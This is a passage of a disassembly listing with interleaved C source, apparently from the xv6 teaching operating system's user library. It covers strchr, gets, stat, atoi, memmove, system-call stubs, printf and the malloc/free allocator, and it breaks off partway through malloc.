266: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx for(; *s; s++) 26a: 0f b6 10 movzbl (%eax),%edx 26d: 84 d2 test %dl,%dl 26f: 75 12 jne 283 <strchr+0x23> 271: eb 1d jmp 290 <strchr+0x30> 273: 90 nop 274: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 278: 0f b6 50 01 movzbl 0x1(%eax),%edx 27c: 84 d2 test %dl,%dl 27e: 74 10 je 290 <strchr+0x30> 280: 83 c0 01 add $0x1,%eax if(*s == c) 283: 38 ca cmp %cl,%dl 285: 75 f1 jne 278 <strchr+0x18> return (char*)s; return 0; } 287: 5d pop %ebp 288: c3 ret 289: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi strchr(const char *s, char c) { for(; *s; s++) if(*s == c) return (char*)s; return 0; 290: 31 c0 xor %eax,%eax } 292: 5d pop %ebp 293: c3 ret 294: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 29a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 000002a0 <gets>: char* gets(char *buf, int max) { 2a0: 55 push %ebp 2a1: 89 e5 mov %esp,%ebp 2a3: 57 push %edi 2a4: 56 push %esi int i, cc; char c; for(i=0; i+1 < max; ){ 2a5: 31 f6 xor %esi,%esi return 0; } char* gets(char *buf, int max) { 2a7: 53 push %ebx 2a8: 83 ec 2c sub $0x2c,%esp 2ab: 8b 7d 08 mov 0x8(%ebp),%edi int i, cc; char c; for(i=0; i+1 < max; ){ 2ae: eb 31 jmp 2e1 <gets+0x41> cc = read(0, &c, 1); 2b0: 8d 45 e7 lea -0x19(%ebp),%eax 2b3: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 2ba: 00 2bb: 89 44 24 04 mov %eax,0x4(%esp) 2bf: c7 04 24 00 00 00 00 movl $0x0,(%esp) 2c6: e8 11 01 00 00 call 3dc <read> if(cc < 1) 2cb: 85 c0 test %eax,%eax 2cd: 7e 1a jle 2e9 <gets+0x49> break; buf[i++] = c; 2cf: 0f b6 45 e7 movzbl -0x19(%ebp),%eax gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 2d3: 89 de mov %ebx,%esi cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; if(c == '\n' || c == '\r') 2d5: 3c 0d cmp $0xd,%al for(i=0; i+1 < max; ){ cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; 2d7: 88 44 1f ff mov %al,-0x1(%edi,%ebx,1) if(c == '\n' || c == '\r') 2db: 74 0c je 2e9 <gets+0x49> 2dd: 3c 0a cmp $0xa,%al 2df: 74 08 je 2e9 <gets+0x49> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 2e1: 8d 5e 01 lea 0x1(%esi),%ebx 2e4: 3b 5d 0c cmp 0xc(%ebp),%ebx 2e7: 7c c7 jl 2b0 <gets+0x10> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 2e9: c6 04 37 00 movb $0x0,(%edi,%esi,1) return buf; } 2ed: 83 c4 2c add $0x2c,%esp 2f0: 89 f8 mov %edi,%eax 2f2: 5b pop %ebx 2f3: 5e pop %esi 2f4: 5f pop %edi 2f5: 5d pop %ebp 2f6: c3 ret 2f7: 89 f6 mov %esi,%esi 2f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000300 <stat>: int stat(const char *n, struct stat *st) { 300: 55 push %ebp 301: 89 e5 mov %esp,%ebp 303: 83 ec 18 sub $0x18,%esp int fd; int r; fd = open(n, O_RDONLY); 306: 8b 45 08 mov 0x8(%ebp),%eax return buf; } int stat(const char *n, struct stat *st) { 309: 89 5d f8 mov %ebx,-0x8(%ebp) 30c: 89 75 fc mov %esi,-0x4(%ebp) int fd; int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; 30f: be ff ff ff ff mov $0xffffffff,%esi stat(const char *n, struct stat *st) { int fd; int r; fd = open(n, O_RDONLY); 314: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 31b: 00 31c: 89 04 24 mov %eax,(%esp) 31f: e8 e0 00 00 00 call 404 <open> if(fd < 0) 324: 85 c0 test %eax,%eax stat(const char *n, struct stat *st) { int fd; int r; fd = open(n, O_RDONLY); 326: 89 c3 mov %eax,%ebx if(fd < 0) 328: 78 19 js 343 <stat+0x43> return -1; r = fstat(fd, st); 32a: 8b 45 0c mov 0xc(%ebp),%eax 32d: 89 1c 24 mov %ebx,(%esp) 330: 89 44 24 04 mov %eax,0x4(%esp) 334: e8 e3 00 00 00 call 41c <fstat> close(fd); 339: 89 1c 24 mov %ebx,(%esp) int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; r = fstat(fd, st); 33c: 89 c6 mov %eax,%esi close(fd); 33e: e8 a9 00 00 00 call 3ec <close> return r; } 343: 89 f0 mov %esi,%eax 345: 8b 5d f8 mov -0x8(%ebp),%ebx 348: 8b 75 fc mov -0x4(%ebp),%esi 34b: 89 ec mov %ebp,%esp 34d: 5d pop %ebp 34e: c3 ret 34f: 90 nop 00000350 <atoi>: int atoi(const char *s) { 350: 55 push %ebp int n; n = 0; 351: 31 c0 xor %eax,%eax return r; } int atoi(const char *s) { 353: 89 e5 mov %esp,%ebp 355: 8b 4d 08 mov 0x8(%ebp),%ecx 358: 53 push %ebx int n; n = 0; while('0' <= *s && *s <= '9') 359: 0f b6 11 movzbl (%ecx),%edx 35c: 8d 5a d0 lea -0x30(%edx),%ebx 35f: 80 fb 09 cmp $0x9,%bl 362: 77 1c ja 380 <atoi+0x30> 364: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi n = n*10 + *s++ - '0'; 368: 0f be d2 movsbl %dl,%edx 36b: 83 c1 01 add $0x1,%ecx 36e: 8d 04 80 lea (%eax,%eax,4),%eax 371: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 375: 0f b6 11 movzbl (%ecx),%edx 378: 8d 5a d0 lea -0x30(%edx),%ebx 37b: 80 fb 09 cmp $0x9,%bl 37e: 76 e8 jbe 368 <atoi+0x18> n = n*10 + *s++ - '0'; return n; } 380: 5b pop %ebx 381: 5d pop %ebp 382: c3 ret 383: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 389: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000390 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 390: 55 push %ebp 391: 89 e5 mov %esp,%ebp 393: 56 push %esi 394: 8b 45 08 mov 0x8(%ebp),%eax 397: 53 push %ebx 398: 8b 5d 10 mov 0x10(%ebp),%ebx 39b: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 39e: 85 db test %ebx,%ebx 3a0: 7e 14 jle 3b6 <memmove+0x26> n = n*10 + *s++ - '0'; return n; } void* memmove(void *vdst, const void *vsrc, int n) 3a2: 31 d2 xor %edx,%edx 3a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi const char *src; dst = vdst; src = vsrc; while(n-- > 0) *dst++ = *src++; 3a8: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 3ac: 88 0c 10 mov %cl,(%eax,%edx,1) 3af: 83 c2 01 add $0x1,%edx char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 3b2: 39 da cmp %ebx,%edx 3b4: 75 f2 jne 3a8 <memmove+0x18> *dst++ = *src++; return vdst; } 3b6: 5b pop %ebx 3b7: 5e pop %esi 3b8: 5d pop %ebp 3b9: c3 ret 3ba: 90 nop 3bb: 90 nop 000003bc <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 3bc: b8 01 00 00 00 mov $0x1,%eax 3c1: cd 40 int $0x40 3c3: c3 ret 000003c4 <exit>: SYSCALL(exit) 3c4: b8 02 00 00 00 mov $0x2,%eax 3c9: cd 40 int $0x40 3cb: c3 ret 000003cc <wait>: SYSCALL(wait) 3cc: b8 03 00 00 00 mov $0x3,%eax 3d1: cd 40 int $0x40 3d3: c3 ret 000003d4 <pipe>: SYSCALL(pipe) 3d4: b8 04 00 00 00 mov $0x4,%eax 3d9: cd 40 int $0x40 3db: c3 ret 000003dc <read>: SYSCALL(read) 3dc: b8 05 00 00 00 mov $0x5,%eax 3e1: cd 40 int $0x40 3e3: c3 ret 000003e4 <write>: SYSCALL(write) 3e4: b8 10 00 00 00 mov $0x10,%eax 3e9: cd 40 int $0x40 3eb: c3 ret 000003ec <close>: SYSCALL(close) 3ec: b8 15 00 00 00 mov $0x15,%eax 3f1: cd 40 int $0x40 3f3: c3 ret 000003f4 <kill>: SYSCALL(kill) 3f4: b8 06 00 00 00 mov $0x6,%eax 3f9: cd 40 int $0x40 3fb: c3 ret 000003fc <exec>: SYSCALL(exec) 3fc: b8 07 00 00 00 mov $0x7,%eax 401: cd 40 int $0x40 403: c3 ret 00000404 <open>: SYSCALL(open) 404: b8 0f 00 00 00 mov $0xf,%eax 409: cd 40 int $0x40 40b: c3 ret 0000040c <mknod>: SYSCALL(mknod) 40c: b8 11 00 00 00 mov $0x11,%eax 411: cd 40 int $0x40 413: c3 ret 00000414 <unlink>: SYSCALL(unlink) 414: b8 12 00 00 00 mov $0x12,%eax 419: cd 40 int $0x40 41b: c3 ret 0000041c <fstat>: SYSCALL(fstat) 41c: b8 08 00 00 00 mov $0x8,%eax 421: cd 40 int $0x40 423: c3 ret 00000424 <link>: SYSCALL(link) 424: b8 13 00 00 00 mov $0x13,%eax 429: cd 40 int $0x40 42b: c3 ret 0000042c <mkdir>: SYSCALL(mkdir) 42c: b8 14 00 00 00 mov $0x14,%eax 431: cd 40 int $0x40 433: c3 ret 00000434 <chdir>: SYSCALL(chdir) 434: b8 09 00 00 00 mov $0x9,%eax 439: cd 40 int $0x40 43b: c3 ret 0000043c <dup>: SYSCALL(dup) 43c: b8 0a 00 00 00 mov $0xa,%eax 441: cd 40 int $0x40 443: c3 ret 00000444 <getpid>: SYSCALL(getpid) 444: b8 0b 00 00 00 mov $0xb,%eax 449: cd 40 int $0x40 44b: c3 ret 0000044c <sbrk>: SYSCALL(sbrk) 44c: b8 0c 00 00 00 mov $0xc,%eax 451: cd 40 int $0x40 453: c3 ret 00000454 <sleep>: SYSCALL(sleep) 454: b8 0d 00 00 00 mov $0xd,%eax 459: cd 40 int $0x40 45b: c3 ret 0000045c <uptime>: SYSCALL(uptime) 45c: b8 0e 00 00 00 mov $0xe,%eax 461: cd 40 int $0x40 463: c3 ret 464: 90 nop 465: 90 nop 466: 90 nop 467: 90 nop 468: 90 nop 469: 90 nop 46a: 90 nop 46b: 90 nop 46c: 90 nop 46d: 90 nop 46e: 90 nop 46f: 90 nop 00000470 <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 470: 55 push %ebp 471: 89 e5 mov %esp,%ebp 473: 83 ec 28 sub $0x28,%esp 476: 88 55 f4 mov %dl,-0xc(%ebp) write(fd, &c, 1); 479: 8d 55 f4 lea -0xc(%ebp),%edx 47c: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 483: 00 484: 89 54 24 04 mov %edx,0x4(%esp) 488: 89 04 24 mov %eax,(%esp) 48b: e8 54 ff ff ff call 3e4 <write> } 490: c9 leave 491: c3 ret 492: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 499: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000004a0 <printint>: static void printint(int fd, int xx, int base, int sgn) { 4a0: 55 push %ebp 4a1: 89 e5 mov %esp,%ebp 4a3: 57 push %edi 4a4: 56 push %esi 4a5: 89 c6 mov %eax,%esi 4a7: 53 push %ebx 4a8: 83 ec 1c sub $0x1c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 4ab: 8b 45 08 mov 0x8(%ebp),%eax 4ae: 85 c0 test %eax,%eax 4b0: 74 5e je 510 <printint+0x70> 4b2: 89 d0 mov %edx,%eax 4b4: c1 e8 1f shr $0x1f,%eax 4b7: 84 c0 test %al,%al 4b9: 74 55 je 510 <printint+0x70> neg = 1; x = -xx; 4bb: 89 d0 mov %edx,%eax int i, neg; uint x; neg = 0; if(sgn && xx < 0){ neg = 1; 4bd: bf 01 00 00 00 mov $0x1,%edi x = -xx; 4c2: f7 d8 neg %eax } else { x = xx; } i = 0; 4c4: 31 db xor %ebx,%ebx 4c6: eb 02 jmp 4ca <printint+0x2a> do{ buf[i++] = digits[x % base]; 4c8: 89 d3 mov %edx,%ebx 4ca: 31 d2 xor %edx,%edx 4cc: f7 f1 div %ecx 4ce: 0f b6 92 3c 08 00 00 movzbl 0x83c(%edx),%edx }while((x /= base) != 0); 4d5: 85 c0 test %eax,%eax x = xx; } i = 0; do{ buf[i++] = digits[x % base]; 4d7: 88 54 1d d8 mov %dl,-0x28(%ebp,%ebx,1) 4db: 8d 53 01 lea 0x1(%ebx),%edx }while((x /= base) != 0); 4de: 75 e8 jne 4c8 <printint+0x28> if(neg) 4e0: 85 ff test %edi,%edi 4e2: 74 08 je 4ec <printint+0x4c> buf[i++] = '-'; 4e4: c6 44 15 d8 2d movb $0x2d,-0x28(%ebp,%edx,1) 4e9: 8d 53 02 lea 0x2(%ebx),%edx while(--i >= 0) 4ec: 8d 5a ff lea -0x1(%edx),%ebx 4ef: 90 nop putc(fd, buf[i]); 4f0: 0f be 54 1d d8 movsbl -0x28(%ebp,%ebx,1),%edx 4f5: 89 f0 mov %esi,%eax buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 4f7: 83 eb 01 sub $0x1,%ebx putc(fd, buf[i]); 4fa: e8 71 ff ff ff call 470 <putc> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 4ff: 83 fb ff cmp $0xffffffff,%ebx 502: 75 ec jne 4f0 <printint+0x50> putc(fd, buf[i]); } 504: 83 c4 1c add $0x1c,%esp 507: 5b pop %ebx 508: 5e pop %esi 509: 5f pop %edi 50a: 5d pop %ebp 50b: c3 ret 50c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; } else { x = xx; 510: 89 d0 mov %edx,%eax static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 512: 31 ff xor %edi,%edi 514: eb ae jmp 4c4 <printint+0x24> 516: 8d 76 00 lea 0x0(%esi),%esi 519: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000520 <printf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 520: 55 push %ebp 521: 89 e5 mov %esp,%ebp 523: 57 push %edi 524: 56 push %esi 525: 53 push %ebx 526: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 529: 8b 5d 0c mov 0xc(%ebp),%ebx 52c: 0f b6 0b movzbl (%ebx),%ecx 52f: 84 c9 test %cl,%cl 531: 0f 84 89 00 00 00 je 5c0 <printf+0xa0> char *s; int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; 537: 8d 45 10 lea 0x10(%ebp),%eax { char *s; int c, i, state; uint *ap; state = 0; 53a: 31 f6 xor %esi,%esi ap = (uint*)(void*)&fmt + 1; 53c: 89 45 e4 mov %eax,-0x1c(%ebp) 53f: eb 21 jmp 562 <printf+0x42> 541: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 548: 83 f9 25 cmp $0x25,%ecx 54b: 74 7b je 5c8 <printf+0xa8> state = '%'; } else { putc(fd, c); 54d: 8b 45 08 mov 0x8(%ebp),%eax 550: 0f be d1 movsbl %cl,%edx 553: e8 18 ff ff ff call 470 <putc> } else if(c == '%'){ putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); 558: 83 c3 01 add $0x1,%ebx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 55b: 0f b6 0b movzbl (%ebx),%ecx 55e: 84 c9 test %cl,%cl 560: 74 5e je 5c0 <printf+0xa0> c = fmt[i] & 0xff; if(state == 0){ 562: 85 f6 test %esi,%esi uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; 564: 0f b6 c9 movzbl %cl,%ecx if(state == 0){ 567: 74 df je 548 <printf+0x28> if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 569: 83 fe 25 cmp $0x25,%esi 56c: 75 ea jne 558 <printf+0x38> if(c == 'd'){ 56e: 83 f9 64 cmp $0x64,%ecx 571: 0f 84 c9 00 00 00 je 640 <printf+0x120> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 577: 83 f9 70 cmp $0x70,%ecx 57a: 74 54 je 5d0 <printf+0xb0> 57c: 83 f9 78 cmp $0x78,%ecx 57f: 90 nop 580: 74 4e je 5d0 <printf+0xb0> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 582: 83 f9 73 cmp $0x73,%ecx 585: 74 71 je 5f8 <printf+0xd8> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 587: 83 f9 63 cmp $0x63,%ecx 58a: 0f 84 d2 00 00 00 je 662 <printf+0x142> putc(fd, *ap); ap++; } else if(c == '%'){ 590: 83 f9 25 cmp $0x25,%ecx putc(fd, c); 593: ba 25 00 00 00 mov $0x25,%edx 598: 8b 45 08 mov 0x8(%ebp),%eax s++; } } else if(c == 'c'){ putc(fd, *ap); ap++; } else if(c == '%'){ 59b: 74 11 je 5ae <printf+0x8e> putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 59d: 89 4d e0 mov %ecx,-0x20(%ebp) 5a0: e8 cb fe ff ff call 470 <putc> putc(fd, c); 5a5: 8b 4d e0 mov -0x20(%ebp),%ecx 5a8: 8b 45 08 mov 0x8(%ebp),%eax 5ab: 0f be d1 movsbl %cl,%edx 5ae: 83 c3 01 add $0x1,%ebx } state = 0; 5b1: 31 f6 xor %esi,%esi } else if(c == '%'){ putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); 5b3: e8 b8 fe ff ff call 470 <putc> int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 5b8: 0f b6 0b movzbl (%ebx),%ecx 5bb: 84 c9 test %cl,%cl 5bd: 75 a3 jne 562 <printf+0x42> 5bf: 90 nop putc(fd, c); } state = 0; } } } 5c0: 83 c4 2c add $0x2c,%esp 5c3: 5b pop %ebx 5c4: 5e pop %esi 5c5: 5f pop %edi 5c6: 5d pop %ebp 5c7: c3 ret ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; 5c8: be 25 00 00 00 mov $0x25,%esi 5cd: eb 89 jmp 558 <printf+0x38> 5cf: 90 nop } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 5d0: 8b 45 e4 mov -0x1c(%ebp),%eax 5d3: b9 10 00 00 00 mov $0x10,%ecx } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 5d8: 31 f6 xor %esi,%esi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 5da: c7 04 24 00 00 00 00 movl $0x0,(%esp) 5e1: 8b 10 mov (%eax),%edx 5e3: 8b 45 08 mov 0x8(%ebp),%eax 5e6: e8 b5 fe ff ff call 4a0 <printint> ap++; 5eb: 83 45 e4 04 addl $0x4,-0x1c(%ebp) 5ef: e9 64 ff ff ff jmp 558 <printf+0x38> 5f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } else if(c == 's'){ s = (char*)*ap; 5f8: 8b 45 e4 mov -0x1c(%ebp),%eax 5fb: 8b 38 mov (%eax),%edi ap++; 5fd: 83 c0 04 add $0x4,%eax 600: 89 45 e4 mov %eax,-0x1c(%ebp) if(s == 0) s = "(null)"; 603: b8 35 08 00 00 mov $0x835,%eax 608: 85 ff test %edi,%edi 60a: 0f 44 f8 cmove %eax,%edi } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 60d: 31 f6 xor %esi,%esi } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 60f: 0f b6 17 movzbl (%edi),%edx 612: 84 d2 test %dl,%dl 614: 0f 84 3e ff ff ff je 558 <printf+0x38> 61a: 89 de mov %ebx,%esi 61c: 8b 5d 08 mov 0x8(%ebp),%ebx 61f: 90 nop putc(fd, *s); 620: 0f be d2 movsbl %dl,%edx s++; 623: 83 c7 01 add $0x1,%edi s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ putc(fd, *s); 626: 89 d8 mov %ebx,%eax 628: e8 43 fe ff ff call 470 <putc> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 62d: 0f b6 17 movzbl (%edi),%edx 630: 84 d2 test %dl,%dl 632: 75 ec jne 620 <printf+0x100> 634: 89 f3 mov %esi,%ebx } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 636: 31 f6 xor %esi,%esi 638: e9 1b ff ff ff jmp 558 <printf+0x38> 63d: 8d 76 00 lea 0x0(%esi),%esi } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 640: 8b 45 e4 mov -0x1c(%ebp),%eax 643: b1 0a mov $0xa,%cl } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 645: 66 31 f6 xor %si,%si } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 648: c7 04 24 01 00 00 00 movl $0x1,(%esp) 64f: 8b 10 mov (%eax),%edx 651: 8b 45 08 mov 0x8(%ebp),%eax 654: e8 47 fe ff ff call 4a0 <printint> ap++; 659: 83 45 e4 04 addl $0x4,-0x1c(%ebp) 65d: e9 f6 fe ff ff jmp 558 <printf+0x38> while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); 662: 8b 45 e4 mov -0x1c(%ebp),%eax } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 665: 31 f6 xor %esi,%esi while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); 667: 0f be 10 movsbl (%eax),%edx 66a: 8b 45 08 mov 0x8(%ebp),%eax 66d: e8 fe fd ff ff call 470 <putc> ap++; 672: 83 45 e4 04 addl $0x4,-0x1c(%ebp) 676: e9 dd fe ff ff jmp 558 <printf+0x38> 67b: 90 nop 67c: 90 nop 67d: 90 nop 67e: 90 nop 67f: 90 nop 00000680 <free>: static Header base; static Header *freep; void free(void *ap) { 680: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 681: a1 40 0b 00 00 mov 0xb40,%eax static Header base; static Header *freep; void free(void *ap) { 686: 89 e5 mov %esp,%ebp 688: 57 push %edi 689: 56 push %esi 68a: 53 push %ebx 68b: 8b 5d 08 mov 0x8(%ebp),%ebx Header *bp, *p; bp = (Header*)ap - 1; 68e: 8d 4b f8 lea -0x8(%ebx),%ecx 691: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 698: 39 c8 cmp %ecx,%eax 69a: 8b 10 mov (%eax),%edx 69c: 73 04 jae 6a2 <free+0x22> 69e: 39 d1 cmp %edx,%ecx 6a0: 72 16 jb 6b8 <free+0x38> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 6a2: 39 d0 cmp %edx,%eax 6a4: 72 0c jb 6b2 <free+0x32> 6a6: 39 c8 cmp %ecx,%eax 6a8: 72 0e jb 6b8 <free+0x38> 6aa: 39 d1 cmp %edx,%ecx 6ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 6b0: 72 06 jb 6b8 <free+0x38> static Header base; static Header *freep; void free(void *ap) { 6b2: 89 d0 mov %edx,%eax 6b4: eb e2 jmp 698 <free+0x18> 6b6: 66 90 xchg %ax,%ax bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 6b8: 8b 73 fc mov -0x4(%ebx),%esi 6bb: 8d 3c f1 lea (%ecx,%esi,8),%edi 6be: 39 d7 cmp %edx,%edi 6c0: 74 19 je 6db <free+0x5b> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 6c2: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 6c5: 8b 50 04 mov 0x4(%eax),%edx 6c8: 8d 34 d0 lea (%eax,%edx,8),%esi 6cb: 39 f1 cmp %esi,%ecx 6cd: 74 23 je 6f2 <free+0x72> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 6cf: 89 08 mov %ecx,(%eax) freep = p; 6d1: a3 40 0b 00 00 mov %eax,0xb40 } 6d6: 5b pop %ebx 6d7: 5e pop %esi 6d8: 5f pop %edi 6d9: 5d pop %ebp 6da: c3 ret bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 6db: 03 72 04 add 0x4(%edx),%esi 6de: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 6e1: 8b 10 mov (%eax),%edx 6e3: 8b 12 mov (%edx),%edx 6e5: 89 53 f8 mov %edx,-0x8(%ebx) } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ 6e8: 8b 50 04 mov 0x4(%eax),%edx 6eb: 8d 34 d0 lea (%eax,%edx,8),%esi 6ee: 39 f1 cmp %esi,%ecx 6f0: 75 dd jne 6cf <free+0x4f> p->s.size += bp->s.size; 6f2: 03 53 fc add -0x4(%ebx),%edx p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; freep = p; 6f5: a3 40 0b 00 00 mov %eax,0xb40 bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ p->s.size += bp->s.size; 6fa: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 6fd: 8b 53 f8 mov -0x8(%ebx),%edx 700: 89 10 mov %edx,(%eax) } else p->s.ptr = bp; freep = p; } 702: 5b pop %ebx 703: 5e pop %esi 704: 5f pop %edi 705: 5d pop %ebp 706: c3 ret 707: 89 f6 mov %esi,%esi 709: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000710 <malloc>: return freep; } void* malloc(uint nbytes) { 710: 55 push %ebp 711: 89 e5 mov %esp,%ebp 713: 57 push %edi 714: 56 push %esi 715: 53 push %ebx 716: 83 ec 2c sub $0x2c,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 719: 8b 5d 08 mov 0x8(%ebp),%ebx if((prevp = freep) == 0){ 71c: 8b 15 40 0b 00 00 mov 0xb40,%edx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 722: 83 c3 07 add $0x7,%ebx 725: c1 eb 03 shr $0x3,%ebx 728: 83 c3 01 add $0x1,%ebx if((prevp = freep) == 0){ 72b: 85 d2 test %edx,%edx 72d: 0f 84 a3 00 00 00 je 7d6 <malloc+0xc6> 733: 8b 02 mov (%edx),%eax 735: 8b 48 04 mov 0x4(%eax),%ecx base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 738: 39 d9 cmp %ebx,%ecx 73a: 73 74 jae 7b0 <malloc+0xa0> p->s.size -= nunits; p += p->s.size; p->s.size = nunits; } freep = prevp; return (void*)(p + 1); 73c: 8d 14 dd 00 00 00 00 lea 0x0(,%ebx,8),%edx morecore(uint nu) { char *p; Header *hp; if(nu < 4096) 743: bf 00 80 00 00 mov $0x8000,%edi p->s.size -= nunits; p += p->s.size; p->s.size = nunits; } freep = prevp; return (void*)(p + 1); 748: 89 55 e4 mov %edx,-0x1c(%ebp) 74b: eb 0c jmp 759 <malloc+0x49> 74d: 8d 76 00 lea 0x0(%esi),%esi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 750: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 752: 8b 48 04 mov 0x4(%eax),%ecx 755: 39 cb cmp 